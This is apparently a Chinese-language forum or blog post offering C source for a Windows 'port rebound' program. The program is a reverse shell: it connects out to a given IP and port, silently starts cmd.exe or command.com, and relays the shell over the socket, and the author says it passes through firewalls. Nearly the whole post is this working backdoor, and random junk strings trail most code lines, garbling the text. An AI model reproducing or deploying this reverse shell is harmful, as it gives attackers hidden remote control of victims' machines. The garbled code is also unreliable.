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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AMK(-=  
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/* ============================== /HdjPxH  
Rebound port in Windows NT ^#4<~zU  
By wind,2006/7 QM7B FS;  
===============================*/ *{O[}  
#include xgvwH?<  
#include U@53VmrOy  
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#pragma comment(lib,"wsock32.lib") NuXII-  
&&zsUAkS  
void OutputShell(); ,=: -&~?  
SOCKET sClient; HY(XI u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eEYz A  
Fnd_\`9{  
void main(int argc,char **argv) vLGnLpt  
{ z]&?}o  
WSADATA stWsaData; BP1<:T'.q`  
int nRet; {9cjitl  
SOCKADDR_IN stSaiClient,stSaiServer; _KZ TY`/*  
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if(argc != 3) lnK#q .]  
{ 5!Ovd O}g  
printf("Useage:\n\rRebound DestIP DestPort\n"); YU\k D  
return; vb9C&#  
}  k =O  
'*<I<? z;  
WSAStartup(MAKEWORD(2,2),&stWsaData); _s}`ohKvD  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y<_;8%S  
zu 7Fq]zD  
stSaiClient.sin_family = AF_INET; k[y^7, r  
stSaiClient.sin_port = htons(0); 1R7tnR@[u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xrv0%  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RSnBG"  
{ WS%yV|e  
printf("Bind Socket Failed!\n"); =VV><^uzdY  
return; /-+hMYe  
} 7j88^59  
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stSaiServer.sin_family = AF_INET; d)d0,fi?-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v[)8 1uY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TYCjVxfu$  
Q(x/&]7=V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0g#xQzE  
{ }L=Qp=4  
printf("Connect Error!"); ,vAcri 97  
return; `v)ZOw9&  
} lAkg47i  
OutputShell(); \mWH8Z }Z  
} ]Qe"S>,?`  
o/& IT(v  
void OutputShell() Lb{.}  
{ *&hbfsP:  
char szBuff[1024]; NPDMv |4  
SECURITY_ATTRIBUTES stSecurityAttributes; TIK'A<  
OSVERSIONINFO stOsversionInfo; RYdI$&]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {]$)dz5  
STARTUPINFO stStartupInfo; 'X`W+=T$  
char *szShell; ,hm&]  
PROCESS_INFORMATION stProcessInformation; as@? Kv  
unsigned long lBytesRead; %AmyT  
DVDzYR**4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $)d34JM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R@U4Ae{+  
stSecurityAttributes.lpSecurityDescriptor = 0; AJ)&+H  
stSecurityAttributes.bInheritHandle = TRUE; ;s-@m<  
tq51;L  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D0>Pc9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #$F*.vQSs+  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )KGz -!1c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1MmEP  
stStartupInfo.wShowWindow = SW_HIDE; Qj$w7*U  
stStartupInfo.hStdInput = hReadPipe; wJ"]H!r0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4um^7Ns)7  
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GetVersionEx(&stOsversionInfo); UD9JE S,  
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switch(stOsversionInfo.dwPlatformId) u'T-}95 V  
{ n~0MhE0H  
case 1: M+b?qw  
szShell = "command.com"; 7 D{%  
break; B:Awy/XMi  
default: Z*-a=u%gl'  
szShell = "cmd.exe"; S)/548=`  
break; #T@k(Bz{L  
} 2\;/mQI2A  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |dDKO  
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send(sClient,szMsg,77,0); X~SNkM  
while(1) "oyBF CW  
{ GRaU]Z]ck  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g's!\kr  
if(lBytesRead) ]wi0qc2 {  
{ 4Z5;y[k(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5"X@<;H%  
send(sClient,szBuff,lBytesRead,0); %0Qq~J@Lu  
} e1%kW1Z9  
else lD-2 5~YV  
{ ^Ai QNL}  
lBytesRead=recv(sClient,szBuff,1024,0); 1N<n)>X4  
if(lBytesRead<=0) break; z 4;@"B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \A)Pcc}7  
} ` U-vXP  
} ZX#60o8  
|o'r?"  
return; Zxozhmg  
}
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